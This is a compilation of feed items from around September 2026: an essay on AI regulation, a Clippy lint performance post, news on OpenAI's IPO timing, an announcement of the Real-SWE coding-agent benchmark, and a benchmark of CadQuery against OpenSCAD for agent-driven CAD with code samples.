A Total Regulatory Failure

From where I sit, what we observe right now is a total regulatory failure everywhere. In Europe you have some whacky AI regulation that is two years old and completely misses the problems that we actually have and focuses on problems that nobody has. In the US we’re seeing a system that is probably best described as turbo capitalism paired with sinophobia and erratic decision-making. In the chaos in which we find ourselves, the reality emerges. And the reality is, even today, really problematic.

Whatever laws and regulations already exist are largely completely ignored. Plenty of companies are buying data from all over the place that people never agreed could be used for training of AI models. The token economy that is emerging is one that looks like a drug market where you don’t know where the requests are going, what model is served up to you, where the GPUs are even running, let alone what you pay for all of this.

We now have mathematicians who are scared that their use of ChatGPT leads to future models being trained on their ideas, and OpenAI apparently can’t even rule it out .

Ideally the regulators would have forced these models to actually benefit the commons if they are from the commons. The internet has, for instance, greatly benefited from very liberal rulings in the US that permitted scraping. Learning on public data could have been regulated in a way that labs would have to actively support and enable certain forms of distillation. That alone would dramatically change how these models are trained.

What Might Happen?

As I said before, I don’t think AI is going to usher in an extinction event. In fact, even if nobody were to slow down, I really don’t think humanity would have much to worry about. I tend to think it would actually be the large labs that have much more to lose there in reputation and legal responsibilities. I find it preposterous that OpenAI’s agents are committing actual crimes out there, but we’re just shrugging our shoulders and moving on as if nothing happened. But I’m sure executives in those companies are waking up to the reality that this is not at all popular with a lot of their potential consumers.

I also think that this entire recursive self-improvement business has a good chance of being a problem. But not necessarily in that it will cause the end of humanity or societies, but that it will just do massive damage everywhere.

And really, it will just make a lot of the things we are doing much more expensive. Software engineering is an early victim of that. The newfound powers so far have resulted in a new tax that companies need to pay to the model providers, both to keep up with the new speed and to deal with the problem of these machines finding security issues left and right.

And presumably what is going on in software will happen to more industries. Universities and research groups will have to pour a lot of money into the closed models as well, to keep up with others who do.

In a way, I’m really confused that society is taking all of this so well.

This entry was tagged ai

copy as / view markdown

Financial Times' 404 Page not Found

Hacker News
www.ft.com
2026-09-12 17:28:08
Comments...
Original Article

For help please visit help.ft.com . We apologise for any inconvenience.

The following information can help our support team to resolve this issue.

Error Code
CG000 / 403
Request ID
a3a28eb558722201

California Brown Pelican

Simon Willison
simonwillison.net
2026-09-12 17:16:09
California Brown Pelican, in San Mateo County, CA, US The Pacifica Pier shut down at the start of June after a crack in the concrete walkway made access to the pier unsafe. It has since been entirely taken over by pelicans! Tags: wildlife...
Original Article

Sighting 2:16 PM — California Brown Pelican, in San Mateo County, CA, US

California Brown Pelican
California Brown Pelican
California Brown Pelican
California Brown Pelican

The Pacifica Pier shut down at the start of June after a crack in the concrete walkway made access to the pier unsafe.

It has since been entirely taken over by pelicans!

Optimizing a single Rust Clippy lint by 3133X

Lobsters
blog.goose.love
2026-09-12 16:29:09
Comments...
Original Article

This page uses 0 cookies! (I don't even know if anyone reads these, lemme know if you do via Mastodon )

If you want to delve into the code straight, you can check it out here.

clippy::nonstandard_macro_braces is a Clippy lint that catches macro calls with the wrong braces.

In Rust, if you want to instantiate an empty vector, you can call the vec macro vec![] . However, there’s technically nothing stopping you from doing vec!() , or even vec! {"???"} .

However, everyone hates that. Everyone hates println! {} .

So, Clippy has the perfect lint to avoid you becoming the noobie in your community. It’s the forementioned clippy::nonstandard_macro_braces , which has some hard-coded macros and their idiomatic braces.

Now, Clippy runs after macro expansion. This means that, for example, instead of seeing println! {"..."} , Clippy sees:

std::io::_print(std::format_args_nl!("Hello, world!"));

Take a minute to look at it.

Judging by that code snippet, where exactly are the braces stored? I’m sure you’re very smart, that’s why you are WRONG

There’s no way that we can know what braces were used, not in a post-expansion lint anyways. Rust does not have a real defined macro callmap, and that might be the greatest pain-point that Clippy has to deal with.

So we first start out investigation by, you guessed it, checking if we’re in a macro expansion. Rust knows if the current tokens comes from expansion, sometimes .

Okay, now the only thing’s left is going up the chain with the following formula:

  • If we’re currently in a macro:
    • Go up 1 level, check the “outer expansion data” , i.e. check what produced this expansion.
    • If what produced is a macro, get it’s name and what should be their idiomatic braces.

Now we’ll do some source text trickery, we get the source text for the span according to the macro expansion in the hygiene data.

So, we have the following:

std::io::_print(std::format_args_nl!("Hello, world!"));
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
           |
           |- Check with the static "session globals" for the hygiene data, get the span "src/main.rs:1:16 to src/main:1:32"

Looking at the same session globals, which holds the hygiene data, we can go look at the span “file src/main.rs, line 1, column 16” to “file src/main.rs, line 1, column 32”. That line corresponds to this string:

And, if we were to do some string manipulation (split the string by ! , trim the second block and look if the first character is [ , ( or { ). We have finally found out what the brace is!

So, we’ve called the hygiene data functions twice, locked the symbol interner (a system which transforms code identifiers into their string formats, for easier comparing), and we’ve engaged in a recursive loop.

FOR EVERY SINGLE EXPRESSION .

Your suspicion is correct, we were calling all this code for every single expression, statment and item, in your whole codebase.

That means that we’re calling the session globals (effectively blocking every single other thing in the compiler) AND locking the symbol interner (Which slows down everything else in the compiler), for pretty much EVERY LOGIC UNIT IN YOUR CODE.

I want to be clear here, this wasn’t an error that one person did because of their malpractice or malevolence. Blaming the contributor is never the right call.

This is on us , the maintainers. Our role is to make having bad code as hard as possible.

Rust has done the hard part for us, we can omit thinking about buffer overflows or use-after-free errors (or at least, not having it very present unless we’re doing quirky stuff).

Yes, that sometimes means writing more code. Yes, that means not using as many macros. And that definitely means not abstracting away your way into madness, so that a seemingly inocuous function (one that you’ve probably seen a hundred times by now as a contributor) is taking 25% of your Clippy runtime.

We have three duties are open source maintainers:

  1. Complain about feature request. The most important one.
  2. Do not mess with the user’s workflow, that’s sacred.
  3. Reduce bugs.

It seems that, if we code slipped by, we haven’t been doing our jobs.

The fix? Less than 200 lines of code. I simply rewrote the problematic function from a post-expansion lint into a pre-expansion one.

No more having to get the source text and calculate the bracket span with math . No more locking the symbol interner, and no more locking the session globals.

sigh~, I know, if you know anything about Clippy is that lints are run post-expansion. Pre-expansion code is not trusted, it deceives you. In the end, it’s a hack. But it’s a hack that’s saving hundreds of thousands of computing dollars.

Minimizing performance issues in the future

Clippy now has a benchmarking server. Yes, I’ve been trying to build one for close to 4 years now, well, it’s now done. Thanks to the Rust Foundation contracting me, I’ve been able to scale tremendously my operations. And we now have a benchmarking server with 200 days of memory.

It’s all self-hosted, at least to an extent. And it’s also home-benchmarked, so the numbers will probably be very close to real user experience (I have a very common CPU architecture.)

If you want to hear more about the setup, send me an email.


Thanks for reading, see you next time Clippy is revolutionized (or maybe something else…)

OpenAI's Sam Altman says it would be 'ill-advised' to go public in 2026

Hacker News
techcrunch.com
2026-09-12 16:28:29
Comments...
Original Article

In Brief

Posted:

Sam Altman, chief executive officer of OpenAI Inc.
Image Credits: Nathan Laine/Bloomberg / Getty Images

While OpenAI has filed confidentially for an IPO , the company will not be going public this year , according to CEO Sam Altman.

Altman was interviewed recently by Fortune editor in chief Alyson Shontell; amidst the fallout from the OpenAI-HuggingFace hack , as well as broader discussions about AI safety , Shontell asked whether OpenAI still feels pressure to “move really fast” due to its IPO plans.

“We’re not rushing into an IPO,” Altman said. “I actually think that given everything happening with safety, right now would be an ill-advised moment to go public.”

Instead, he insisted that OpenAI will go public “when we’re ready, which is when the business is ready, when we feel ready from what the moment is like in society with this technology.” When pressed on whether that means the IPO isn’t happening in 2026, Altman replied, “I would say not 2026, yeah. We’ve got a lot of stuff to do.”

The New York Times reported in June that although OpenAI had hired bankers and lawyers with the goal of going public in the third or fourth quarter of 2026, the company was leaning toward 2027 due to the volatility of tech stocks and its own financial challenges.

Newsletters

Subscribe for the industry’s biggest tech news

Related

Latest in AI

Real-SWE: Benchmarking AI models on private, real-world, enterprise codebases

Hacker News
withspecific.com
2026-09-12 16:25:48
Comments...
Original Article

September 2026

Introducing Real-SWE

Benchmarking frontier AI models on private, real-world, enterprise codebases.

01 Introduction

Today we are releasing Real-SWE, a benchmark that evaluates frontier AI models on private, real-world, enterprise codebases. Each task comes from a private production codebase that we licensed from a real-world company. These are problems their engineers work on, with all the context and complexity that comes with an existing product.

  • Private codebases. Agents must navigate proprietary systems whose code and solutions aren’t available on the public internet.
  • Work with business consequences. Getting billing right, calculating taxes, migrating customers. Changes that affect how a business runs, often across multiple services.
  • Company-specific complexity. Every company has its own rules and ways of writing code. Agents have to understand those conventions and make changes that work with what’s already there.

Can a coding agent actually do the work of a software engineer in the real world?

  1. 1

    Fable 5.1

    Claude Code

    Resolution rate: 38.8%

  2. 2

    GPT-6 Astra

    Codex CLI

    Resolution rate: 33.8%

  3. 3

    Gemini 3.8 Flash

    Gemini CLI

    Resolution rate: 31.2%

  4. 4

    GLM 5.3

    Claude Code

    Resolution rate: 28.8%

  5. =5

    Grok 4.6

    Grok Build

    Resolution rate: 23.8%

  6. =5

    Muse Spark 1.3

    Muse Code

    Resolution rate: 23.8%

  7. 7

    Kimi K3

    Kimi Code

    Resolution rate: 18.8%

  8. 8

    GPT-5.6 Sol

    Codex CLI

    Resolution rate: 16.2%

Resolution rate is equivalent to pass@1, averaged over eight independent runs per task. 95% confidence intervals are shown.

Expert-generated or synthetic tasks can be well designed, but they aren’t the verbatim, actual tasks that engineers in real companies need to do. Our tasks differ on two axes: the underlying coding artifact and specificity of the instruction. Both add complexities that challenge today’s frontier models.

We use native harnesses to reflect how enterprise engineers work in practice, evaluating model-and-harness combinations rather than models in isolation.

Real company tasks require company-specific context

Correct billing depends on business rules and external services

Fix invoice billing so each business charges the right tax and exempt customers aren't taxed.

View full instruction Hide full instruction

Billing reopens on Monday and every invoice this service issues is coming out untaxed. Each business on the platform settles its tax a different way: some maintain a rate themselves, some want each invoice priced against the buyer's destination by our tax authority provider, and some collect nothing at all, while a customer we hold an exemption for is charged nothing whichever way its business is configured. Pricing a destination means going to the authority with both addresses, the priced lines and the product category that business sells under, on the sandbox or the production authority according to the account the business is on; an address the authority refuses must be reported without stopping the invoice. The rate, the tax and the gross belong on the issued invoice, and once an invoice is settled the sale is filed back to the authority under that invoice's number so the returns reconcile. Invoices between European parties show both sides' VAT registrations. The authority and ledger are available at TAX_JAR_URL , PROD_TAX_JAR_URL and INFLUX_URL .

Services in the sandbox

  • TaxJar sandbox
  • TaxJar production
  • InfluxDB ledger
  • NestJS service
  • TypeScript

Agents work across code, infrastructure, and business tools

Tools and services across Real-SWE task environments. Each task exposes only the services its workflow needs.

  • AWS emulator
  • Docker
  • Kubernetes
  • GitHub
  • Linear MCP
  • PostgreSQL
  • MySQL
  • MongoDB
  • Gel
  • Redis
  • Go
  • Python
  • Node.js
  • Vitest
  • Slack
  • Intercom
  • Google Drive
  • Email
  • ClickUp

Codebase Selection

We selected codebases through a rigorous screening process, focusing on real companies with substantial usage, strong engineering teams, and demanding production workloads. The sample tasks analyzed below come from these codebases, including:

  • A Luma/Partiful competitor with 200K+ users and a top 100 App Store ranking
  • A consumer fintech platform processing 100K+ bank statements
  • Enterprise AI sales platforms supporting complex business workflows

We prioritize code written to meet an actual user or business need over code written solely to create a benchmark task. Production engineering requires understanding existing architecture, preserving behavior that users rely on, and making changes within real operational constraints.

Brief instructions can require changes across many files

Our tasks describe the change needed, leaving agents to discover implementation details in the codebase and surrounding tools. Any behavior required by the verifier must be stated or reasonably discoverable. This leads to our prompts being slightly underspecified, about par with DeepSWE and Terminal Bench, but specific enough to not omit instructions.

The work is cross-functional and complex: a single change can span multiple parts of the application. Agents must understand existing business logic and company coding patterns while keeping the surrounding system working.

Prompt length · median

A typical Real-SWE instruction is 1,742 characters.

  • FrontierCode 2,056 chars

  • DeepSWE 1,975 chars

  • Terminal-Bench 3 1,584 chars

  • FrontierSWE v2 992 chars

  • Real-SWE 1,742 chars

Files edited by the reference solution · median

11 files in Real-SWE, compared with 6 in FrontierCode and DeepSWE.

  • FrontierCode 6

  • DeepSWE 6

  • Real-SWE 11

All figures are medians. FrontierCode and DeepSWE use Cognition's published comparison ; FrontierCode includes task descriptions and codebase guidelines. We measured instruction files from Terminal-Bench 3's 74 tasks , FrontierSWE v2's 34 tasks , and Real-SWE's eight repository-backed sample tasks. Character counts are rounded to the nearest whole character. No comparable files-edited figure is included for Terminal-Bench 3 or FrontierSWE v2.

Models fail even in short rollouts.

71.4 % of rollouts under 10 minutes failed, compared with 73.4 % of longer rollouts.

Triaging multiple systems and understanding requirements in codebases riddled with existing business logic and coding patterns is difficult.

Under 10 min
Under 10 min: 70 failed (71.4%) and 28 passed (28.6%), out of 98 rollouts.

70 / 98 failed

10 min or longer
10 min or longer: 398 failed (73.4%) and 144 passed (26.6%), out of 542 rollouts.

398 / 542 failed

  • Failed
  • Passed

Every task is inspired or lifted verbatim from a private, real-world codebase. We find these types of tasks super interesting for three reasons:

  1. Tasks on private codebases are natively out of distribution. These types of coding tasks are not available anywhere on the internet and are unlikely to have ever been trained on by any other ai model. 99% of tokens in real-world enterprises are hidden away from the frontier models.
  2. These tasks are economically viable work. Each task here has a direct relationship to spend and was assigned to an engineer earning a salary. Most benchmarks test interesting, experimental capabilities that are often unlikely to be widespread in the real-world.
  3. Company-specific engineering patterns matter. Does AI code match the bar of a real-world enterprise? Our results show us that we're far from that reality. Many enterprises care about code standards and patterns. We've found that today's models are weaker at understanding company coding patterns and frequently miss requirements or don't verify their assumptions.

02 Analysis

Here's an analysis of a small sample of tasks from our benchmark. If you're interested in the sample, request access here .

6 of 10 tasks have resolution rates below 15%

Each task had 8 rollouts per model.

Missed requirements are the most common failure

Failures are grouped by observed submission behavior using the same taxonomy across models, following DeepSWE .

Fable 5.1

GPT-6 Astra

Gemini 3.8 Flash

GLM 5.3

Grok 4.6

Muse Spark 1.3

Kimi K3

GPT-5.6 Sol

Unverified assumption Missed requirement Integration error Regression Wrong file

No model solves every task

One square per rollout: each row is a task, each column a trial, eight trials per task for every model.

Fable 5.1

01

02

03

04

05

06

07

08

09

10

GPT-6 Astra

01

02

03

04

05

06

07

08

09

10

Gemini 3.8 Flash

01

02

03

04

05

06

07

08

09

10

GLM 5.3

01

02

03

04

05

06

07

08

09

10

Grok 4.6

01

02

03

04

05

06

07

08

09

10

Muse Spark 1.3

01

02

03

04

05

06

07

08

09

10

Kimi K3

01

02

03

04

05

06

07

08

09

10

GPT-5.6 Sol

01

02

03

04

05

06

07

08

09

10

Pass Unverified assumption Missed requirement Integration error Regression Wrong file

Different models fail in different ways

Percentages are out of each model's failed runs, not all runs.

03 Effort & the Frontier

Higher cost does not guarantee a higher resolution rate

Estimated frontier

Resolution rate (%) 10 15 20 25 30 35 40 45 $2 $3 $5 $10 Cost per rollout (USD, log scale) Gemini 3.8 Flash: 31.2% · $2.50; Gemini CLI Gemini 3.8 Flash 31.2% · $2.50 GPT-5.6 Sol: 16.2% · $2.65; Codex CLI GPT-5.6 Sol 16.2% · $2.65 Muse Spark 1.3: 23.8% · $2.74; Muse Code Muse Spark 1.3 23.8% · $2.74 Grok 4.6: 23.8% · $3.44; Grok Build; incomplete usage, actual cost may be higher Grok 4.6 23.8% · $3.44 Kimi K3: 18.8% · $3.90; Kimi Code; incomplete usage, actual cost may be higher Kimi K3 18.8% · $3.90 GPT-6 Astra: 33.8% · $4.67; Codex CLI GPT-6 Astra 33.8% · $4.67 GLM 5.3: 28.8% · $5.12; Claude Code GLM 5.3 28.8% · $5.12 Fable 5.1: 38.8% · $6.96; Claude Code Fable 5.1 38.8% · $6.96

Estimated rollout costs range from $2.50 to $6.96

Rank Model Estimated cost (USD)
1 Gemini 3.8 Flash $2.50
2 GPT-5.6 Sol $2.65
3 Muse Spark 1.3 $2.74
4 Grok 4.6 $3.44
5 Kimi K3 $3.90
6 GPT-6 Astra $4.67
7 GLM 5.3 $5.12
8 Fable 5.1 $6.96

mean per rollout, by task

Swipe the chart to see all tasks.

0 100k 200k 300k 400k 01 02 03 04 05 06 07 08 09 10 task Entitlement overage lines · Fable 5.1: 34k Multi-region sweep · Fable 5.1: 30k Tax jurisdiction · Fable 5.1: 78k API token metering · Fable 5.1: 95k API keys & environments · Fable 5.1: 71k S3 datastore measurement · Fable 5.1: 62k Customer identity migration · Fable 5.1: 67k Billing schedule migration · Fable 5.1: 26k Linearizable scan · Fable 5.1: 86k Analytics stream reducer · Fable 5.1: 88k Entitlement overage lines · GPT-6 Astra: 13k Multi-region sweep · GPT-6 Astra: 13k Tax jurisdiction · GPT-6 Astra: 24k API token metering · GPT-6 Astra: 31k API keys & environments · GPT-6 Astra: 32k S3 datastore measurement · GPT-6 Astra: 22k Customer identity migration · GPT-6 Astra: 25k Billing schedule migration · GPT-6 Astra: 15k Linearizable scan · GPT-6 Astra: 33k Analytics stream reducer · GPT-6 Astra: 29k Entitlement overage lines · Gemini 3.8 Flash: 78k Multi-region sweep · Gemini 3.8 Flash: 67k Tax jurisdiction · Gemini 3.8 Flash: 95k API token metering · Gemini 3.8 Flash: 134k API keys & environments · Gemini 3.8 Flash: 102k S3 datastore measurement · Gemini 3.8 Flash: 106k Customer identity migration · Gemini 3.8 Flash: 97k Billing schedule migration · Gemini 3.8 Flash: 70k Linearizable scan · Gemini 3.8 Flash: 106k Analytics stream reducer · Gemini 3.8 Flash: 88k Entitlement overage lines · GLM 5.3: 68k Multi-region sweep · GLM 5.3: 53k Tax jurisdiction · GLM 5.3: 141k API token metering · GLM 5.3: 177k API keys & environments · GLM 5.3: 125k S3 datastore measurement · GLM 5.3: 121k Customer identity migration · GLM 5.3: 90k Billing schedule migration · GLM 5.3: 58k Linearizable scan · GLM 5.3: 172k Analytics stream reducer · GLM 5.3: 169k Entitlement overage lines · Grok 4.6: 7k Multi-region sweep · Grok 4.6: 3k Tax jurisdiction · Grok 4.6: 12k API token metering · Grok 4.6: 15k API keys & environments · Grok 4.6: 16k S3 datastore measurement · Grok 4.6: 13k Customer identity migration · Grok 4.6: 20k Billing schedule migration · Grok 4.6: 6k Linearizable scan · Grok 4.6: 261k Analytics stream reducer · Grok 4.6: 315k Entitlement overage lines · Muse Spark 1.3: 36k Multi-region sweep · Muse Spark 1.3: 43k Tax jurisdiction · Muse Spark 1.3: 67k API token metering · Muse Spark 1.3: 152k API keys & environments · Muse Spark 1.3: 104k S3 datastore measurement · Muse Spark 1.3: 71k Customer identity migration · Muse Spark 1.3: 76k Billing schedule migration · Muse Spark 1.3: 38k Linearizable scan · Muse Spark 1.3: 141k Analytics stream reducer · Muse Spark 1.3: 137k Entitlement overage lines · Kimi K3: 30k Multi-region sweep · Kimi K3: 9k Tax jurisdiction · Kimi K3: 39k API token metering · Kimi K3: 69k API keys & environments · Kimi K3: 44k S3 datastore measurement · Kimi K3: 32k Customer identity migration · Kimi K3: 66k Billing schedule migration · Kimi K3: 19k Linearizable scan · Kimi K3: 71k Analytics stream reducer · Kimi K3: 55k Entitlement overage lines · GPT-5.6 Sol: 12k Multi-region sweep · GPT-5.6 Sol: 8k Tax jurisdiction · GPT-5.6 Sol: 22k API token metering · GPT-5.6 Sol: 31k API keys & environments · GPT-5.6 Sol: 25k S3 datastore measurement · GPT-5.6 Sol: 25k Customer identity migration · GPT-5.6 Sol: 24k Billing schedule migration · GPT-5.6 Sol: 13k Linearizable scan · GPT-5.6 Sol: 37k Analytics stream reducer · GPT-5.6 Sol: 30k

Fable 5.1 · 64k overall GPT-6 Astra · 24k overall Gemini 3.8 Flash · 94k overall GLM 5.3 · 117k overall Grok 4.6 · 67k overall Muse Spark 1.3 · 87k overall Kimi K3 · 43k overall GPT-5.6 Sol · 23k overall

View task values
  • Fable 5.1 34k
  • GPT-6 Astra 13k
  • Gemini 3.8 Flash 78k
  • GLM 5.3 68k
  • Grok 4.6 7k
  • Muse Spark 1.3 36k
  • Kimi K3 30k
  • GPT-5.6 Sol 12k

04 Evaluation Setup

Each agent was run in an isolated sandbox. All tasks are in Harbor format, and verifiers are injected at grading time. The verifiers are inspired by existing test suites in the codebase or use those tests verbatim.

Benchmark: CadQuery vs. OpenSCAD for agentic CAD work

Hacker News
modelrift.com
2026-09-12 15:57:19
Comments...
Original Article

ModelRift generates OpenSCAD for every model on the platform. That choice is worth re-testing occasionally, so we ran a controlled comparison against the most credible alternative for code-first CAD: CadQuery , a Python library on top of the OpenCascade B-rep kernel.

The question was narrow: which one can an AI agent drive to a correct, printable, functional part with nobody watching? How pleasant each is to write by hand did not come into it.

Six agents, three tasks, two tools. Every resulting STL was then checked by a parser that trusts neither tool.

All six parts came out printable. Capability turned out to be the boring part of the answer. Where the two diverge is in how they fail.

Two threaded hose adapters side by side, one built in OpenSCAD and one in CadQuery, nearly identical

The hardest task in the set, solved by both tools. OpenSCAD on the left, CadQuery on the right.

Setup

All six runs were driven by Claude Opus 5 (1M context) through Claude Code. Each cell ran as a separate general-purpose subagent inheriting that same model, with no cross-talk between them. One agent per cell, so part of the spread below is agent variance rather than tool difference. Tool versions were CadQuery 2.8.0 on Python 3.14 and OpenSCAD 2026.06.12, both on an M-series Mac.

The OpenSCAD side ran on our own openscad-skill , the agent skill we publish and use in house. It covers file and version naming, the render-inspect-fix QA loop, camera presets for CLI previews, cross-section debugging, and Customizer syntax.

For CadQuery we ported that skill operation by operation, keeping the same structure and replacing only what has no OpenSCAD equivalent. CadQuery has no CLI renderer, so the port needed a small offscreen renderer written for it, plus B-rep validity metrics in place of the CSG status line. Both files then got the same 3D-printing design rules, wall thickness, clearances and overhangs, so neither side was handed advice the other lacked. Sizes landed at 12.4 KB for OpenSCAD and 13.1 KB for CadQuery.

One asymmetry survived: the CadQuery file carries an API cheatsheet the OpenSCAD file does not need, because the model already knows OpenSCAD syntax well. That helps CadQuery on syntax and does nothing for it on geometry.

Each agent was capped at 12 versions, told never to fake success, and required to report every failure with its verbatim error text. They ran unattended.

We did not take the agents’ word for anything. Every final STL went through a parser that reads the file directly and reports triangle count, bounding box, volume, watertightness, non-manifold and boundary edges, flipped faces, and connected components. That turned out to matter more than we expected, for reasons further down.

The three tasks

Both agents on a task got the same text, with no tool-specific hints.

The simple one, T1, was a wall-mounted shelf L-bracket: two plates at 90 degrees, 4 thick, two triangular gussets, two countersunk holes for flat-head screws at 90 degrees and 9 head diameter, two plain holes, R3 on the outer vertical corners, R4 fillet on the inner corner, printable without supports.

T2 raised the stakes to a two-part snap-fit enclosure for a 50 x 26 PCB. Walls 2, cavity clearance 0.4 per side, four M2 posts, a 9.5 x 3.5 USB-C cutout, a separate lid with a peripheral lip at 0.2 clearance and working snaps, five vent slots. The two parts had to actually fit.

T3 was the hard one: an M24x2 threaded hose-barb adapter with a hex flange 30 across flats, a real helical thread 12 long, a 25 long barb carrying three barbs for 12 ID hose, and an 8 through-channel. The spec explicitly banned stacked rings. The thread had to be true helical geometry.

Results

T1 OpenSCAD T1 CadQuery T2 OpenSCAD T2 CadQuery T3 OpenSCAD T3 CadQuery
Versions 2 3 8 5 1 3
Lines of code 103 135 220 266 150 172
Errors the tool raised 1 4 0 0 1 1
Silent wrong geometry 0 0 5 3 0 1
Agent wall-clock 461 s 562 s 1058 s 909 s 542 s 935 s
Agent tokens 77 k 89 k 138 k 139 k 82 k 119 k
Geometry recompute 12 ms 1.56 s 16 ms 1.93 s 43 ms 1.95 s
Final STL verdict clean clean clean clean clean clean

Summed across the three tasks:

OpenSCAD CadQuery
Versions 11 11
Lines of code 473 573
Errors the tool raised 2 5
Silent wrong geometry 5 4
Agent wall-clock 2061 s 2406 s
Agent tokens 297 k 347 k

“Clean” means watertight, one connected component, zero non-manifold or boundary edges, sitting on z = 0, measured from the file rather than reported by the tool that wrote it.

Iteration count came out identical at 11 versions each. So did the broad shape of the effort. What differs is the character of the problems each agent hit.

T1: the simple bracket

Two L-brackets viewed from the inner corner showing gussets, four holes and the inner fillet

Both correct, shown from the inner corner so the gussets are visible. The visible difference is interpretation: the spec left gusset size and inset open.

Rounding the four outer corners separates the two models of the world cleanly. OpenSCAD rounds a 2D profile and extrudes it, so the operation does not care how the solid was assembled:

module corner_mask() {
    translate([0, 0, -eps]) linear_extrude(vert_h + 2*eps)
        offset(r = corner_r) offset(delta = -corner_r) square([plate_w, horiz_d]);
}

CadQuery has to name the four edges first, and naming is the hard part:

result = result.edges("|Z").edges(
    BoxSelector((-WIDTH, -EPS, -EPS), (WIDTH, EPS, V_HEIGHT + EPS))
    + BoxSelector((-WIDTH, H_DEPTH - EPS, -EPS), (WIDTH, H_DEPTH + EPS, V_HEIGHT + EPS))
).fillet(R_OUTER)

OpenSCAD compiled correct geometry on the first attempt and finished in two versions. CadQuery spent about a third of its run on a single error: .fillet(3.0) failed with BRep_API: command not done , a message that names neither the edge nor the radius. The agent had to bisect by hand to discover the cause, which turned out to be arithmetic: two R3 fillets do not fit in a 4 mm wall.

T2: two parts that must fit

Two enclosure boxes side by side with mounting posts and relief slots

Both agents derived the same 54.8 x 30.8 x 25.0 mm box from the clearance stack-up.

This is where CadQuery’s parameter chain earned its keep. Changing the lip depth moved rim, plate, slots, groove and barb together, because each dimension is derived rather than typed twice. That kind of dimension chain is the same thing a good parametric UI exposes to the user, which we wrote about in Building a better OpenSCAD customizer . CadQuery has no Customizer equivalent, so the constants block is the entire parameter interface.

More interesting is how each side checked the fit. OpenSCAD prints numbers for someone to read:

echo(str("cavity LxW = ", cav_l, " x ", cav_w, "  (clearance/side ", pcb_clr, ")"));

CadQuery asserts, and the build stops when the assertion is false:

assert BOX.val().intersect(LID.val()).Volume() < 1e-6, "box and lid interfere"

An echo only helps if somebody reads it. An assert fails the build on its own. For unattended generation that gap is most of the story.

OpenSCAD needed eight versions to CadQuery’s five, and three of those eight went to boolean hygiene rather than design: cleaning up slivers thrown off by tangent and coincident faces.

T3: the real thread

The hard task produced the biggest upset. OpenSCAD finished in one version, correct on the first compile, in 43 ms, with no library.

OpenSCAD has no sweep operation, so the agent wrote the helix as raw vertex and face arithmetic: one four-point ISO profile, 96 sections per turn, emitted as a single polyhedron . There are no guardrails in this code at all. Get the winding order wrong and the tool says nothing.

module helical_thread(turns, z0) {
    prof = [ [r_in, -flank_hz], [r_maj, -crest_hz],
             [r_maj, crest_hz], [r_in, flank_hz] ];
    n = round(turns * STEPS);
    pts = [ for (i = [0:n]) let(a = i * 360 / STEPS,
                                zo = z0 + i * thread_pitch / STEPS)
                for (j = [0:3])
                    [ prof[j][0] * cos(a), prof[j][0] * sin(a), prof[j][1] + zo ] ];
    fcs = concat(
        [ [3, 2, 1, 0] ],
        [ for (i = [0:n-1]) for (j = [0:3]) let(k = (j + 1) % 4)
              [ 4*i + j, 4*i + k, 4*(i+1) + k, 4*(i+1) + j ] ],
        [ [4*n + 0, 4*n + 1, 4*n + 2, 4*n + 3] ]
    );
    polyhedron(points = pts, faces = fcs, convexity = 8);
}

The agent also pre-empted the classic thread trap before writing a line: an ISO tooth spans exactly one pitch, so consecutive root flats land coplanar and the union goes bad. It sank the swept profile below the minor radius so the helix crosses the core instead of touching it. That is why the boolean was a non-event.

CadQuery expresses the same geometry in six readable lines, and that part worked first try:

helix = cq.Wire.makeHelix(pitch=THREAD_P, height=h, radius=R_ROOT, center=(0, 0, z0))
prof = (cq.Workplane("XZ", origin=(0, 0, z0)).center(R_ROOT, 0)
        .polyline(thread_profile_points()).close())
ridge = prof.sweep(path, isFrenet=True)

core = cq.Workplane("XY", origin=(0, 0, z0)).circle(R_ROOT).extrude(h)
rod = core.union(ridge)

The failure came on the last line, and it is the one result that changed how we think about the QA loop.

Two cross-sections: the left shows thread turns floating with no core cylinder, the right shows a solid body

CadQuery T3 version 1 on the left. The threaded section is nothing but floating helical turns.

union() silently discarded the core cylinder because the thread root sat exactly on the core radius. Exact tangency along a helical curve, and OCCT dropped a solid without a word. From the outside the part looked perfect. The agent read four renders without noticing. What caught it was a volume measurement: 7065 mm³ where 10323 was expected.

Worse, the broken part reported valid=True and solids=1 . Raising the boolean tolerance to 1e-3 produced a solid of negative volume that also reported valid=True .

OpenSCAD is not innocent here either. In T2 its Manifold backend certified Status: NoError for an STL carrying 4 non-manifold edges and 60 zero-area triangles. Neither tool’s self-report is the last word, which is why we parsed every mesh ourselves.

Axial cross-sections of both finished adapters showing thread crests staggered by half a pitch

Both finished threads. Crests on the left flank sit half a pitch off those on the right, which is the signature of a true single-start helix and the check that tells a real thread from stacked rings.

Download the parts

Here are the eight final meshes, exactly as the agents exported them, with no cleanup or repair from us. Binary STL, millimetres, oriented for printing with the part sitting on z = 0.

Part OpenSCAD CadQuery
T1 shelf bracket STL, 2660 tris STL, 4232 tris
T2 enclosure box STL, 2944 tris STL, 14136 tris
T2 enclosure lid STL, 2960 tris STL, 1872 tris
T3 threaded adapter STL, 10754 tris STL, 13748 tris

Every one of the eight is watertight, a single connected component, with zero non-manifold edges, zero boundary edges and zero flipped faces. Clearances assume FDM with a 0.4 nozzle, so each T2 pair should snap together as printed.

The triangle counts are worth a glance, and they do not favour one tool consistently. CadQuery’s box carries almost five times the triangles of the OpenSCAD box, while its lid has fewer. Mesh density here follows how much rounded detail each agent chose to add, not the kernel.

What we found

Renders caught nothing that mattered

This is the result we did not expect. Across six runs, images caught coarse blunders, like four mounting posts deleted by a cavity subtraction, and nothing subtle. Every defect that would have ruined a print was found by a number instead: a volume, an angle, an interference test, a strain calculation. In T3 the OpenSCAD agent had the opposite problem and nearly rejected correct geometry, because a thread close-up rendered in a way that looked wrong. Its own note was that the render was not sufficient evidence in either direction.

The failure modes are mirror images

CadQuery fails loudly and early. Its messages are poor, but an exception stops the run, and a stopped model cannot ship by accident. OpenSCAD fails silently and late: in T2 it reported no errors and no warnings across roughly 45 invocations while producing deleted posts, misplaced slots, and a corrupted export it had just certified as clean. For unattended generation, silent success is the more expensive failure.

CadQuery can be interrogated, OpenSCAD cannot

CadQuery answers questions about its own geometry. The T1 agent proved its countersink was 90 degrees and 9 across by reading the cone’s half-angle off the B-rep, then wired the spec into asserts that re-ran on every build. OpenSCAD has no way to query geometry, so both OpenSCAD agents independently wrote binary STL parsers, roughly as much code as the models themselves, to measure what they had built. It works, but it only sees the mesh after export, never the design.

